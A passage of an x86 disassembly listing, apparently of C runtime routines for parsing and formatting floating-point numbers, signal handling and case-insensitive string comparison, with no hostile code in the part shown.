jg short loc_420D75 loc_420D6E: ; CODE XREF: sub_420CF7+CEj ; sub_420CF7+129j push 3 jmp loc_420F8F ; --------------------------------------------------------------------------- loc_420D75: ; CODE XREF: sub_420CF7+70j ; sub_420CF7+75j cmp bl, byte_432CB8 jnz short loc_420D84 loc_420D7D: ; CODE XREF: sub_420CF7+135j push 5 jmp loc_420FC6 ; --------------------------------------------------------------------------- loc_420D84: ; CODE XREF: sub_420CF7+84j movsx eax, bl sub eax, 2Bh jz short loc_420DAE dec eax dec eax jz short loc_420DA2 sub eax, 3 jz loc_420E3B mov [ebp+var_8], esi dec edi jmp loc_420F4D ; --------------------------------------------------------------------------- loc_420DA2: ; CODE XREF: sub_420CF7+97j push 2 pop eax mov [ebp+var_2C], 8000h jmp short loc_420D51 ; --------------------------------------------------------------------------- loc_420DAE: ; CODE XREF: sub_420CF7+93j and [ebp+var_2C], 0 push 2 pop eax jmp short loc_420D51 ; --------------------------------------------------------------------------- loc_420DB7: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o xor eax, eax ; jumptable 00420D5D case 1 inc eax cmp bl, 31h mov [ebp+var_14], eax jl short loc_420DC7 cmp bl, 39h jle short loc_420D6E loc_420DC7: ; CODE XREF: sub_420CF7+C9j cmp bl, byte_432CB8 jnz short loc_420DD6 loc_420DCF: ; CODE XREF: sub_420CF7+182j push 4 jmp loc_420FC6 ; --------------------------------------------------------------------------- loc_420DD6: ; CODE XREF: sub_420CF7+D6j cmp bl, 2Bh jz short loc_420E10 cmp bl, 2Dh jz short loc_420E10 cmp bl, 30h jz loc_420D51 loc_420DE9: ; CODE XREF: sub_420CF7+1DAj cmp bl, 43h jle loc_420F49 cmp bl, 45h jle short loc_420E09 cmp bl, 63h jle loc_420F49 cmp bl, 65h jg loc_420F49 loc_420E09: ; CODE XREF: sub_420CF7+FEj push 6 jmp loc_420FC6 ; --------------------------------------------------------------------------- loc_420E10: ; CODE XREF: sub_420CF7+E2j ; sub_420CF7+E7j ... dec edi push 0Bh jmp loc_420FC6 ; --------------------------------------------------------------------------- loc_420E18: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o cmp bl, 31h ; jumptable 00420D5D case 2 jl short loc_420E26 cmp bl, 39h jle loc_420D6E loc_420E26: ; CODE XREF: sub_420CF7+124j cmp bl, byte_432CB8 jz loc_420D7D cmp bl, 30h jnz loc_420F9B loc_420E3B: ; CODE XREF: sub_420CF7+9Cj xor eax, eax inc eax jmp loc_420D51 ; --------------------------------------------------------------------------- loc_420E43: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o mov [ebp+var_14], 1 ; jumptable 00420D5D case 3 jmp short loc_420E63 ; --------------------------------------------------------------------------- loc_420E4C: ; CODE XREF: sub_420CF7+178j cmp [ebp+var_C], 19h jnb short loc_420E5D inc [ebp+var_C] sub bl, 30h mov [esi], bl inc esi jmp short loc_420E60 ; --------------------------------------------------------------------------- loc_420E5D: ; CODE XREF: sub_420CF7+159j inc [ebp+var_10] loc_420E60: ; CODE XREF: sub_420CF7+164j mov bl, [edi] inc edi loc_420E63: ; CODE XREF: sub_420CF7+153j movzx eax, bl push eax call sub_41E6D9 test eax, eax pop ecx jnz short loc_420E4C cmp bl, byte_432CB8 jnz short loc_420EBF jmp loc_420DCF ; --------------------------------------------------------------------------- loc_420E7E: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o xor eax, eax ; jumptable 00420D5D case 4 inc eax cmp [ebp+var_C], 0 mov [ebp+var_14], eax mov [ebp+var_28], eax jnz short loc_420EB1 jmp short loc_420E95 ; --------------------------------------------------------------------------- loc_420E8F: ; CODE XREF: sub_420CF7+1A1j dec [ebp+var_10] mov bl, [edi] inc edi loc_420E95: ; CODE XREF: sub_420CF7+196j cmp bl, 30h jz short loc_420E8F jmp short loc_420EB1 ; --------------------------------------------------------------------------- loc_420E9C: ; CODE XREF: sub_420CF7+1C6j cmp [ebp+var_C], 19h jnb short loc_420EAE inc [ebp+var_C] sub bl, 30h mov [esi], bl inc esi dec [ebp+var_10] loc_420EAE: ; CODE XREF: sub_420CF7+1A9j mov bl, [edi] inc edi loc_420EB1: ; CODE XREF: sub_420CF7+194j ; sub_420CF7+1A3j movzx eax, bl push eax call sub_41E6D9 test eax, eax pop ecx jnz short loc_420E9C loc_420EBF: ; CODE XREF: sub_420CF7+180j cmp bl, 2Bh jz loc_420E10 cmp bl, 2Dh jz loc_420E10 jmp loc_420DE9 ; --------------------------------------------------------------------------- loc_420ED6: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o movzx eax, bl ; jumptable 00420D5D case 5 push eax mov [ebp+var_28], 1 call sub_41E6D9 test eax, eax pop ecx jz loc_420F9B push 4 jmp loc_420F8F ; --------------------------------------------------------------------------- loc_420EF6: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o cmp bl, 31h ; jumptable 00420D5D case 6 lea ecx, [edi-2] mov [ebp+arg_8], ecx jl short loc_420F0A cmp bl, 39h jle loc_420F8D loc_420F0A: ; CODE XREF: sub_420CF7+208j movsx eax, bl sub eax, 2Bh jz loc_420FC4 dec eax dec eax jz loc_420FB8 sub eax, 3 jnz loc_420FDE loc_420F27: ; CODE XREF: sub_420CF7+2A2j push 8 jmp loc_420FC6 ; --------------------------------------------------------------------------- loc_420F2E: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o mov [ebp+var_24], 1 ; jumptable 00420D5D case 8 jmp short loc_420F3A ; --------------------------------------------------------------------------- loc_420F37: ; CODE XREF: sub_420CF7+246j mov bl, [edi] inc edi loc_420F3A: ; CODE XREF: sub_420CF7+23Ej cmp bl, 30h jz short loc_420F37 cmp bl, 31h jl short loc_420F49 cmp bl, 39h jle short loc_420F8D loc_420F49: ; CODE XREF: sub_420CF7+F5j ; sub_420CF7+103j ... dec edi loc_420F4A: ; CODE XREF: sub_420CF7+2A7j ; sub_420CF7+2E2j mov [ebp+var_8], esi loc_420F4D: ; CODE XREF: sub_420CF7+A6j ; sub_420CF7+2ECj ... cmp [ebp+var_14], 0 mov eax, [ebp+arg_4] mov [eax], edi jz loc_4210AC push 18h pop eax cmp [ebp+var_C], eax jbe short loc_420F74 cmp [ebp+var_41], 5 jl short loc_420F6D inc [ebp+var_41] loc_420F6D: ; CODE XREF: sub_420CF7+271j dec esi inc [ebp+var_10] mov [ebp+var_C], eax loc_420F74: ; CODE XREF: sub_420CF7+26Bj cmp [ebp+var_C], 0 jbe loc_4210D3 jmp loc_421048 ; --------------------------------------------------------------------------- loc_420F83: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o cmp bl, 31h ; jumptable 00420D5D case 7 jl short loc_420F96 cmp bl, 39h jg short loc_420F96 loc_420F8D: ; CODE XREF: sub_420CF7+20Dj ; sub_420CF7+250j push 9 loc_420F8F: ; CODE XREF: sub_420CF7+79j ; sub_420CF7+1FAj pop eax dec edi jmp loc_420D51 ; --------------------------------------------------------------------------- loc_420F96: ; CODE XREF: sub_420CF7+28Fj ; sub_420CF7+294j cmp bl, 30h jz short loc_420F27 loc_420F9B: ; CODE XREF: sub_420CF7+13Ej ; sub_420CF7+1F2j mov edi, [ebp+arg_8] jmp short loc_420F4A ; --------------------------------------------------------------------------- loc_420FA0: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o cmp [ebp+arg_18], 0 ; jumptable 00420D5D case 11 jz short loc_420FCC movsx eax, bl sub eax, 2Bh lea ecx, [edi-1] mov [ebp+arg_8], ecx jz short loc_420FC4 dec eax dec eax jnz short loc_420FDE loc_420FB8: ; CODE XREF: sub_420CF7+221j or [ebp+var_1C], 0FFFFFFFFh push 7 pop eax jmp loc_420D51 ; --------------------------------------------------------------------------- loc_420FC4: ; CODE XREF: sub_420CF7+219j ; sub_420CF7+2BBj push 7 loc_420FC6: ; CODE XREF: sub_420CF7+88j ; sub_420CF7+DAj ... pop eax jmp loc_420D51 ; --------------------------------------------------------------------------- loc_420FCC: ; CODE XREF: sub_420CF7+2ADj push 0Ah pop eax dec edi loc_420FD0: ; CODE XREF: sub_420CF7+60j ; sub_420CF7+66j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00420D5D case 10 jnz loc_420D51 jmp loc_420F4A ; --------------------------------------------------------------------------- loc_420FDE: ; CODE XREF: sub_420CF7+22Aj ; sub_420CF7+2BFj mov [ebp+var_8], esi mov edi, ecx jmp loc_420F4D ; --------------------------------------------------------------------------- loc_420FE8: ; CODE XREF: sub_420CF7+66j ; DATA XREF: .text:off_421101o mov [ebp+var_8], esi ; jumptable 00420D5D case 9 mov [ebp+var_24], 1 xor esi, esi jmp short loc_42100B ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420CF7+320j movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42101B mov bl, [edi] inc edi loc_42100B: ; CODE XREF: sub_420CF7+2FDj movzx eax, bl push eax call sub_41E6D9 test eax, eax pop ecx jnz short loc_420FF6 jmp short loc_421020 ; --------------------------------------------------------------------------- loc_42101B: ; CODE XREF: sub_420CF7+30Fj mov esi, 1451h loc_421020: ; CODE XREF: sub_420CF7+322j mov [ebp+var_20], esi movzx eax, bl jmp short loc_42102E ; --------------------------------------------------------------------------- loc_421028: ; CODE XREF: sub_420CF7+340j mov al, [edi] inc edi movzx eax, al loc_42102E: ; CODE XREF: sub_420CF7+32Fj push eax call sub_41E6D9 test eax, eax pop ecx jnz short loc_421028 mov esi, [ebp+var_8] dec edi jmp loc_420F4D ; --------------------------------------------------------------------------- loc_421042: ; CODE XREF: sub_420CF7+355j dec [ebp+var_C] inc [ebp+var_10] loc_421048: ; CODE XREF: sub_420CF7+287j dec esi cmp byte ptr [esi], 0 jz short loc_421042 lea eax, [ebp+var_3C] push eax push [ebp+var_C] lea eax, [ebp+var_58] push eax call sub_420C13 mov eax, [ebp+var_20] xor ecx, ecx add esp, 0Ch cmp [ebp+var_1C], ecx jge short loc_42106D neg eax loc_42106D: ; CODE XREF: sub_420CF7+372j add eax, [ebp+var_10] cmp [ebp+var_24], ecx jnz short loc_421078 add eax, [ebp+arg_10] loc_421078: ; CODE XREF: sub_420CF7+37Cj cmp [ebp+var_28], ecx jnz short loc_421080 sub eax, [ebp+arg_14] loc_421080: ; CODE XREF: sub_420CF7+384j cmp eax, 1450h jg short loc_4210B5 cmp eax, 0FFFFEBB0h jl short loc_4210CC push [ebp+arg_C] push eax lea eax, [ebp+var_3C] push eax call sub_42186B mov edx, [ebp+var_3C] mov ebx, [ebp+var_3C+2] mov esi, [ebp+var_36] mov eax, [ebp+var_32] add esp, 0Ch jmp short loc_4210DB ; --------------------------------------------------------------------------- loc_4210AC: ; CODE XREF: sub_420CF7+25Fj mov [ebp+var_18], 4 jmp short loc_4210D3 ; --------------------------------------------------------------------------- loc_4210B5: ; CODE XREF: sub_420CF7+38Ej xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_18], 2 jmp short loc_4210DB ; --------------------------------------------------------------------------- loc_4210CC: ; CODE XREF: sub_420CF7+395j mov [ebp+var_18], 1 loc_4210D3: ; CODE XREF: sub_420CF7+281j ; sub_420CF7+3BCj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx loc_4210DB: ; CODE XREF: sub_420CF7+3B3j ; sub_420CF7+3D3j mov ecx, [ebp+arg_0] or eax, [ebp+var_2C] mov [ecx+2], ebx mov [ecx+6], esi mov [ecx+0Ah], ax mov eax, [ebp+var_18] mov [ecx], dx mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41C596 leave retn sub_420CF7 endp ; --------------------------------------------------------------------------- off_421101 dd offset loc_420D64 ; DATA XREF: sub_420CF7+66r dd offset loc_420DB7 ; jump table for switch statement dd offset loc_420E18 dd offset loc_420E43 dd offset loc_420E7E dd offset loc_420ED6 dd offset loc_420EF6 dd offset loc_420F83 dd offset loc_420F2E dd offset loc_420FE8 dd offset loc_420FD0 dd offset loc_420FA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421131 proc near ; CODE XREF: sub_42010C+36p var_30 = byte ptr -30h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = word ptr -18h var_16 = dword ptr -16h var_12 = dword ptr -12h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 30h mov eax, dword_432A68 xor eax, [ebp+4] push ebx mov ebx, [ebp+arg_14] mov [ebp+var_4], eax mov eax, [ebp+arg_8] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_24], 0CCh mov [ebp+var_23], 0CCh mov [ebp+var_22], 0CCh mov [ebp+var_21], 0CCh mov [ebp+var_20], 0CCh mov [ebp+var_1F], 0CCh mov [ebp+var_1E], 0CCh mov [ebp+var_1D], 0CCh mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0FBh mov [ebp+var_19], 3Fh mov [ebp+var_8], 1 mov edx, eax jz short loc_42119E mov byte ptr [ebx+2], 2Dh jmp short loc_4211A2 ; --------------------------------------------------------------------------- loc_42119E: ; CODE XREF: sub_421131+65j mov byte ptr [ebx+2], 20h loc_4211A2: ; CODE XREF: sub_421131+6Bj test dx, dx mov edi, [ebp+arg_4] jnz short loc_4211B7 test edi, edi jnz short loc_4211B7 cmp [ebp+arg_0], edi jz loc_4212AA loc_4211B7: ; CODE XREF: sub_421131+77j ; sub_421131+7Bj cmp dx, si jnz short loc_421234 mov eax, 80000000h cmp edi, eax mov word ptr [ebx], 1 jnz short loc_4211D0 cmp [ebp+arg_0], 0 jz short loc_4211DF loc_4211D0: ; CODE XREF: sub_421131+97j test edi, 40000000h jnz short loc_4211DF push offset a1Snan ; "1#SNAN" jmp short loc_421225 ; --------------------------------------------------------------------------- loc_4211DF: ; CODE XREF: sub_421131+9Dj ; sub_421131+A5j test cx, cx jz short loc_4211F9 cmp edi, 0C0000000h jnz short loc_4211F9 cmp [ebp+arg_0], 0 jnz short loc_421220 push offset a1Ind ; "1#IND" jmp short loc_421208 ; --------------------------------------------------------------------------- loc_4211F9: ; CODE XREF: sub_421131+B1j ; sub_421131+B9j cmp edi, eax jnz short loc_421220 cmp [ebp+arg_0], 0 jnz short loc_421220 push offset a1Inf ; "1#INF" loc_421208: ; CODE XREF: sub_421131+C6j lea eax, [ebx+4] push eax call sub_41BFE0 mov byte ptr [ebx+3], 5 loc_421215: ; CODE XREF: sub_421131+101j and [ebp+var_8], 0 pop ecx pop ecx jmp loc_42138C ; --------------------------------------------------------------------------- loc_421220: ; CODE XREF: sub_421131+BFj ; sub_421131+CAj ... push offset a1Qnan ; "1#QNAN" loc_421225: ; CODE XREF: sub_421131+ACj lea eax, [ebx+4] push eax call sub_41BFE0 mov byte ptr [ebx+3], 6 jmp short loc_421215 ; --------------------------------------------------------------------------- loc_421234: ; CODE XREF: sub_421131+89j movzx eax, dx mov esi, eax imul eax, 4D10h and [ebp+var_18], 0 mov ecx, edi shr ecx, 18h shr esi, 8 lea ecx, [esi+ecx*2] imul ecx, 4Dh lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] mov [ebp+var_16], eax sar esi, 10h movsx eax, si neg eax push 1 push eax lea eax, [ebp+var_18] push eax mov [ebp+var_E], dx mov [ebp+var_12], edi call sub_42186B add esp, 0Ch cmp [ebp+var_E], 3FFFh jb short loc_421295 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax inc esi call sub_421633 pop ecx pop ecx loc_421295: ; CODE XREF: sub_421131+152j test [ebp+arg_10], 1 mov edi, [ebp+arg_C] mov [ebx], si jz short loc_4212B3 movsx eax, si add edi, eax test edi, edi jg short loc_4212B3 loc_4212AA: ; CODE XREF: sub_421131+80j mov byte ptr [ebx+4], 30h jmp loc_4213B0 ; --------------------------------------------------------------------------- loc_4212B3: ; CODE XREF: sub_421131+16Ej ; sub_421131+177j cmp edi, 15h jle short loc_4212BB push 15h pop edi loc_4212BB: ; CODE XREF: sub_421131+185j movzx esi, [ebp+var_E] sub esi, 3FFEh and [ebp+var_E], 0 mov [ebp+arg_8], 8 loc_4212D1: ; CODE XREF: sub_421131+1ADj lea eax, [ebp+var_18] push eax call sub_420BB8 dec [ebp+arg_8] pop ecx jnz short loc_4212D1 test esi, esi jge short loc_4212FB neg esi and esi, 0FFh jle short loc_4212FB loc_4212EE: ; CODE XREF: sub_421131+1C8j lea eax, [ebp+var_18] push eax call sub_420BE6 dec esi pop ecx jnz short loc_4212EE loc_4212FB: ; CODE XREF: sub_421131+1B1j ; sub_421131+1BBj lea ecx, [edi+1] test ecx, ecx lea eax, [ebx+4] mov [ebp+arg_8], eax jle short loc_421358 mov [ebp+var_C], ecx loc_42130B: ; CODE XREF: sub_421131+222j lea esi, [ebp+var_18] lea edi, [ebp+var_30] movsd movsd lea eax, [ebp+var_18] push eax movsd call sub_420BB8 lea eax, [ebp+var_18] push eax call sub_420BB8 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_18] push eax call sub_420B5A lea eax, [ebp+var_18] push eax call sub_420BB8 mov al, byte ptr [ebp+var_E+1] mov ecx, [ebp+arg_8] and byte ptr [ebp+var_E+1], 0 add al, 30h add esp, 14h inc [ebp+arg_8] dec [ebp+var_C] mov [ecx], al jnz short loc_42130B mov eax, [ebp+arg_8] loc_421358: ; CODE XREF: sub_421131+1D5j dec eax mov cl, [eax] dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_4213A5 jmp short loc_42136F ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_421131+240j cmp byte ptr [eax], 39h jnz short loc_421373 mov byte ptr [eax], 30h dec eax loc_42136F: ; CODE XREF: sub_421131+233j cmp eax, ecx jnb short loc_421366 loc_421373: ; CODE XREF: sub_421131+238j cmp eax, ecx jnb short loc_42137B inc eax inc word ptr [ebx] loc_42137B: ; CODE XREF: sub_421131+244j inc byte ptr [eax] loc_42137D: ; CODE XREF: sub_421131+27Aj sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_42138C: ; CODE XREF: sub_421131+EAj mov eax, [ebp+var_8] loc_42138F: ; CODE XREF: sub_421131+292j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41C596 leave retn ; --------------------------------------------------------------------------- loc_42139F: ; CODE XREF: sub_421131+276j cmp byte ptr [eax], 30h jnz short loc_4213A9 dec eax loc_4213A5: ; CODE XREF: sub_421131+231j cmp eax, ecx jnb short loc_42139F loc_4213A9: ; CODE XREF: sub_421131+271j cmp eax, ecx jnb short loc_42137D mov byte ptr [ecx], 30h loc_4213B0: ; CODE XREF: sub_421131+17Dj and word ptr [ebx], 0 and byte ptr [ebx+5], 0 xor eax, eax mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 inc eax jmp short loc_42138F sub_421131 endp ; =============== S U B R O U T I N E ======================================= sub_4213C5 proc near ; CODE XREF: sub_4213F3+72p mov ecx, dword_432C8C mov eax, edx push edi loc_4213CE: ; CODE XREF: sub_4213C5+19j cmp [eax+4], esi jz short loc_4213E0 lea edi, [ecx+ecx*2] add eax, 0Ch lea edi, [edx+edi*4] cmp eax, edi jb short loc_4213CE loc_4213E0: ; CODE XREF: sub_4213C5+Cj lea ecx, [ecx+ecx*2] lea ecx, [edx+ecx*4] cmp eax, ecx pop edi jnb short loc_4213F0 cmp [eax+4], esi jz short locret_4213F2 loc_4213F0: ; CODE XREF: sub_4213C5+24j xor eax, eax locret_4213F2: ; CODE XREF: sub_4213C5+29j retn sub_4213C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4213F3 proc near ; CODE XREF: sub_41CEC1+38A5p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0042153B SIZE 00000031 BYTES push 20h push offset stru_42CE08 call __SEH_prolog xor ecx, ecx mov [ebp+var_1C], ecx mov eax, [ebp+arg_0] dec eax dec eax jz short loc_421475 dec eax dec eax jz short loc_421455 sub eax, 4 jz short loc_421455 sub eax, 3 jz short loc_421455 sub eax, 4 jz short loc_421448 sub eax, 6 jz short loc_42143B dec eax jz short loc_42142E or eax, 0FFFFFFFFh jmp loc_421566 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_4213F3+31j mov esi, offset dword_4815C4 mov edi, dword_4815C4 jmp short loc_421480 ; --------------------------------------------------------------------------- loc_42143B: ; CODE XREF: sub_4213F3+2Ej mov esi, offset dword_4815C0 mov edi, dword_4815C0 jmp short loc_421480 ; --------------------------------------------------------------------------- loc_421448: ; CODE XREF: sub_4213F3+29j mov esi, offset dword_4815C8 mov edi, dword_4815C8 jmp short loc_421480 ; --------------------------------------------------------------------------- loc_421455: ; CODE XREF: sub_4213F3+1Aj ; sub_4213F3+1Fj ... call sub_4191CF mov ebx, eax mov [ebp+var_24], ebx mov edx, [ebx+54h] mov esi, [ebp+arg_0] call sub_4213C5 mov esi, eax add esi, 8 mov edi, [esi] xor ecx, ecx jmp short loc_42148A ; --------------------------------------------------------------------------- loc_421475: ; CODE XREF: sub_4213F3+16j mov esi, offset dword_4815BC mov edi, dword_4815BC loc_421480: ; CODE XREF: sub_4213F3+46j ; sub_4213F3+53j ... mov [ebp+var_1C], 1 mov ebx, [ebp+var_24] loc_42148A: ; CODE XREF: sub_4213F3+80j mov [ebp+var_20], edi cmp edi, 1 jz loc_421564 cmp edi, ecx jnz short loc_4214A1 push 3 call sub_418434 loc_4214A1: ; CODE XREF: sub_4213F3+A5j cmp [ebp+var_1C], ecx jz short loc_4214AF push ecx call sub_41A1D6 pop ecx xor ecx, ecx loc_4214AF: ; CODE XREF: sub_4213F3+B1j mov [ebp+ms_exc.disabled], ecx mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_4214C4 cmp eax, 0Bh jz short loc_4214C4 cmp eax, 4 jnz short loc_4214DF loc_4214C4: ; CODE XREF: sub_4213F3+C5j ; sub_4213F3+CAj mov edx, [ebx+58h] mov [ebp+var_28], edx mov [ebx+58h], ecx cmp eax, 8 jnz short loc_42150B mov edx, [ebx+5Ch] mov [ebp+var_2C], edx mov dword ptr [ebx+5Ch], 8Ch loc_4214DF: ; CODE XREF: sub_4213F3+CFj cmp eax, 8 jnz short loc_42150B mov eax, dword_432C80 loc_4214E9: ; CODE XREF: sub_4213F3+116j mov [ebp+var_30], eax mov edx, dword_432C84 mov esi, dword_432C80 add edx, esi cmp eax, edx jge short loc_42150D lea edx, [eax+eax*2] mov esi, [ebx+54h] mov [esi+edx*4+8], ecx inc eax jmp short loc_4214E9 ; --------------------------------------------------------------------------- loc_42150B: ; CODE XREF: sub_4213F3+DDj ; sub_4213F3+EFj mov [esi], ecx loc_42150D: ; CODE XREF: sub_4213F3+109j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_42152E cmp [ebp+arg_0], 8 jnz short loc_42153B push dword ptr [ebx+5Ch] push 8 call edi pop ecx jmp short loc_421540 sub_4213F3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421526 proc near ; DATA XREF: .text:stru_42CE08o mov edi, [ebp-20h] mov ebx, [ebp-24h] xor ecx, ecx sub_421526 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42152E proc near ; CODE XREF: sub_4213F3+11Ep cmp [ebp-1Ch], ecx jz short locret_42153A push ecx call sub_41A142 pop ecx locret_42153A: ; CODE XREF: sub_42152E+3j retn sub_42152E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4213F3 loc_42153B: ; CODE XREF: sub_4213F3+127j push [ebp+arg_0] call edi loc_421540: ; CODE XREF: sub_4213F3+131j pop ecx mov eax, [ebp+arg_0] cmp eax, 8 jz short loc_421553 cmp eax, 0Bh jz short loc_421553 cmp eax, 4 jnz short loc_421564 loc_421553: ; CODE XREF: sub_4213F3+154j ; sub_4213F3+159j mov ecx, [ebp+var_28] mov [ebx+58h], ecx cmp eax, 8 jnz short loc_421564 mov eax, [ebp+var_2C] mov [ebx+5Ch], eax loc_421564: ; CODE XREF: sub_4213F3+9Dj ; sub_4213F3+15Ej ... xor eax, eax loc_421566: ; CODE XREF: sub_4213F3+36j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_4213F3 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+10h] or ecx, ecx jz short loc_4215CA mov esi, [ebp+8] mov edi, [ebp+0Ch] mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_42158C: ; CODE XREF: .text:004215B9j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_4215BB or al, al jz short loc_4215BB add esi, 1 add edi, 1 cmp ah, bh jb short loc_4215A8 cmp ah, bl ja short loc_4215A8 add ah, dh loc_4215A8: ; CODE XREF: .text:004215A0j ; .text:004215A4j cmp al, bh jb short loc_4215B2 cmp al, bl ja short loc_4215B2 add al, dh loc_4215B2: ; CODE XREF: .text:004215AAj ; .text:004215AEj cmp ah, al jnz short loc_4215C1 sub ecx, 1 jnz short loc_42158C loc_4215BB: ; CODE XREF: .text:00421592j ; .text:00421596j xor ecx, ecx cmp ah, al jz short loc_4215CA loc_4215C1: ; CODE XREF: .text:004215B4j mov ecx, 0FFFFFFFFh jb short loc_4215CA neg ecx loc_4215CA: ; CODE XREF: .text:0042157Bj ; .text:004215BFj ... mov eax, ecx pop ebx pop esi pop edi leave retn ; =============== S U B R O U T I N E ======================================= sub_4215D1 proc near ; CODE XREF: sub_4209FE+73p ; sub_4209FE+C4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_481600[ecx*4] lea eax, [eax+eax*8] lea edx, [ecx+eax*4+4] mov cl, [edx] xor eax, eax mov al, cl push esi mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_421607 and cl, 7Fh jmp short loc_421614 ; --------------------------------------------------------------------------- loc_421607: ; CODE XREF: sub_4215D1+2Fj cmp [esp+4+arg_4], 4000h jnz short loc_421623 or cl, 80h loc_421614: ; CODE XREF: sub_4215D1+34j neg eax sbb eax, eax and eax, 0FFFFC000h add eax, esi mov [edx], cl pop esi retn ; --------------------------------------------------------------------------- loc_421623: ; CODE XREF: sub_4215D1+3Ej call sub_41B9A5 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh pop esi retn sub_4215D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421633 proc near ; CODE XREF: sub_421131+15Dp ; sub_42186B+6Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h mov eax, dword_432A68 xor eax, [ebp+4] push ebx mov ebx, [ebp+arg_4] mov [ebp+var_4], eax xor eax, eax xor ecx, ecx mov cx, [ebx+0Ah] push esi mov esi, [ebp+arg_0] mov [ebp+var_18], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov ax, [esi+0Ah] push edi mov edi, ecx mov edx, 7FFFh and ecx, edx xor edi, eax and eax, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_421840 cmp cx, 7FFFh jnb loc_421840 cmp dx, 0BFFDh ja loc_421840 cmp dx, 3FBFh ja short loc_4216A9 xor eax, eax jmp short loc_4216E3 ; --------------------------------------------------------------------------- loc_4216A9: ; CODE XREF: sub_421633+70j test ax, ax mov edx, 7FFFFFFFh jnz short loc_4216CB inc [ebp+arg_0] xor eax, eax test [esi+8], edx jnz short loc_4216CD cmp [esi+4], eax jnz short loc_4216CD cmp [esi], eax jnz short loc_4216CD jmp loc_42183A ; --------------------------------------------------------------------------- loc_4216CB: ; CODE XREF: sub_421633+7Ej xor eax, eax loc_4216CD: ; CODE XREF: sub_421633+88j ; sub_421633+8Dj ... cmp cx, ax jnz short loc_4216F0 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_4216F0 cmp [ebx+4], eax jnz short loc_4216F0 cmp [ebx], eax jnz short loc_4216F0 loc_4216E3: ; CODE XREF: sub_421633+74j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_42185B ; --------------------------------------------------------------------------- loc_4216F0: ; CODE XREF: sub_421633+9Dj ; sub_421633+A5j ... mov [ebp+var_14], eax lea eax, [ebp+var_24] mov [ebp+var_8], eax mov [ebp+arg_4], 5 loc_421700: ; CODE XREF: sub_421633+12Fj mov eax, [ebp+var_14] add eax, eax cmp [ebp+arg_4], 0 jle short 